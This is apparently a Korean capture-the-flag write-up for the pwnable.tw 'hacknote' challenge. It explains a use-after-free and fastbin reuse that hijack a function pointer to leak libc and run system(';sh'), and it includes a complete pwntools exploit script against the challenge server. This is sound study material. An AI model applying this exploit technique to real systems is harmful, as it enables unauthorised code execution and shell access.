hacknote
TL;DR
manipulate function pointer heap challnege
analysis
메뉴는
- 할당
- 삭제
- 함수포인터 호출
이렇게 있다. 전역변수 ptr 에 청크를 5개까지만 입력받을 수 있다.
ptr[i] = malloc(0x8) → function address
→ malloc(input size) → contents
할당할 때는 malloc(0x8), malloc(input size) 순으로 할당받고,
해제할 때는 역순으로 해제한다.
함수포인터를 호출할 때는
(*ptr[i])(ptr[i]); 이런식으로 호출한다.
그 함수는 인자+4 값을 참조해 contents 를 출력해준다.
vulns
ptr 를 초기화하지 않아 uaf 도 발생.
exploit
malloc(0x8) → A
malloc(input size) → B
malloc(0x8) → C
...
LIFO
구조의 fastbin 에서, A 를 malloc(input size) 에 할당받기 위해서,는input size 에 8을 넣어 두개를 할당해 순서대로 해제.
fastbin → C D A B (왼쪽부터 재사용)
사이즈가 다른 청크 하나를 할당한다면, 저 bin 에서 C 만 빠져나간다.
다음으로 inputsize = 8 인 chunk 하나를 더 할당하면,
malloc(0x8) → D
malloc(input size=8) → A
이런식으로 할당이 돼서 ptr[0] 이 가리키는 chunk 값을 컨트롤 할 수 있다. (uaf 발생하기 때문)
A 에는 8바이트를 입력받을 수 있기 때문에,
출력해주는 함수 + puts@got 을 입력하면 leak 할 수 있다.
그리고 이 chunk 를 해제하면,
fastbin → D A B
다음에 8바이트짜리를 할당할 때 다시 chunk 값을 컨트롤 할 수 있다.
원샷 가젯은 안먹히고, system 함수를 함수포인터가 가리키게 해도,
인자로 자기 자신을 주기때문에 system(&system); 이렇게 실행된다.
근데 다음 4바이트에 ;sh 를 써주면, 함수 주소에 이어서 sh 가 실행되므로 쉘을 딸 수 있다.
[함수주소];sh
from pwn import * b=ELF("./hacknote") lib=ELF("./libc_32.so.6") # lib=ELF("/lib/i386-linux-gnu/libc-2.27.so") context.log_level='debug' # r=process("./hacknote") r=remote("chall.pwnable.tw",10102) def add(size,content): r.sendlineafter(":","1") r.sendlineafter(":",str(size)) r.sendlineafter(":",content) def d(index): r.sendlineafter(":","2") r.sendlineafter(":",str(index)) def p(index): r.sendlineafter(":","3") r.sendlineafter(":",str(index)) add(8,'asdf') add(8,'asdf') d(0) d(1) add(100,'asdfasdf') add(8,p32(0x804862b)+p32(b.got['puts'])) p(0) base=u32(r.recvuntil(b'\xf7')[:-5:-1][::-1])-lib.sym['puts'] log.info(hex(base)) system=base+lib.sym['system'] binsh=list(lib.search(b"/bin/sh"))[0]+base pause() d(3) add(8,p32(system)+b';sh\x00') p(0) r.interactive() 0xf7ecd0af
Wargame Write-Up/Pwnable.tw